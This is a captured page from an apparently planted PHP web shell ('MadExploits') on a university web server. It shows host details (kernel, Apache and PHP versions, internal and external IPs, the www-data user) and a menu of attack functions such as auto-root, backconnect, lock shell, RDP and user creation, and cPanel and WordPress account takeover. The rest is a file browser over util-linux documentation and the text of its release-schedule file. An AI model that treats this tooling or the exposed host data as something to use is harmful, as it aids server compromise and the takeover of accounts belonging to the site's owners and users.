Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.118.252.215
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
util-linux /
[ HOME SHELL ]
Name
Size
Permission
Action
examples
[ DIR ]
drwxr-xr-x
releases
[ DIR ]
drwxr-xr-x
00-about-docs.txt
260
B
-rw-r--r--
AUTHORS.gz
12.12
KB
-rw-r--r--
NEWS.Debian.gz
1.86
KB
-rw-r--r--
PAM-configuration.txt
671
B
-rw-r--r--
README.Debian
481
B
-rw-r--r--
blkid.txt
3.18
KB
-rw-r--r--
cal.txt
2.21
KB
-rw-r--r--
changelog.Debian.gz
1.55
KB
-rw-r--r--
col.txt
1.87
KB
-rw-r--r--
copyright
17.55
KB
-rw-r--r--
deprecated.txt
2.9
KB
-rw-r--r--
getopt.txt
992
B
-rw-r--r--
getopt_changelog.txt
1.88
KB
-rw-r--r--
howto-build-sys.txt
3.12
KB
-rw-r--r--
howto-compilation.txt
2.62
KB
-rw-r--r--
howto-contribute.txt.gz
3.33
KB
-rw-r--r--
howto-debug.txt
2.38
KB
-rw-r--r--
howto-man-page.txt.gz
2.25
KB
-rw-r--r--
howto-pull-request.txt.gz
4.16
KB
-rw-r--r--
howto-tests.txt
3.62
KB
-rw-r--r--
howto-usage-function.txt.gz
2.27
KB
-rw-r--r--
hwclock.txt
148
B
-rw-r--r--
modems-with-agetty.txt
2.56
KB
-rw-r--r--
mount.txt
522
B
-rw-r--r--
parse-date.txt.gz
7.93
KB
-rw-r--r--
pg.txt
448
B
-rw-r--r--
poeigl.txt.gz
8.68
KB
-rw-r--r--
release-schedule.txt
1.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : release-schedule.txt
Release schedule ---------------- The util-linux package uses the <major>.<minor>.<maintenaince> version numbering scheme. Since the major version is pretty much fixed, any release means an increment of the minor number. The minor version is incremented roughly twice per year. The easiest way to estimate when the next version will appear, is to look at the time stamp of the last release. Before each release there are a few release candidates, which will be collectively tested. During the test period changes to the code base are restricted. Usually there are two release candidates. what length what will be accepted into upstream --------------------------------------------------------- rc1 1-2 weeks bug fixes only rc2 1-2 weeks translations, fatal/trivial bug fixes The period between a release and the next release candidate can be considered as the merge window. The release tarball is generated by "make distcheck" command. Release criteria ---------------- For all releases it is required that: - make checkincludes passes - make checkconfig passes - make distcheck passes - cd tests && ./run.sh passes - an out-of-tree build works (cd .. && mkdir build && cd build && ../util-linux/configure && make) - ideally: a build with uClibc works, and --with-slang works See also -------- ../README
Close
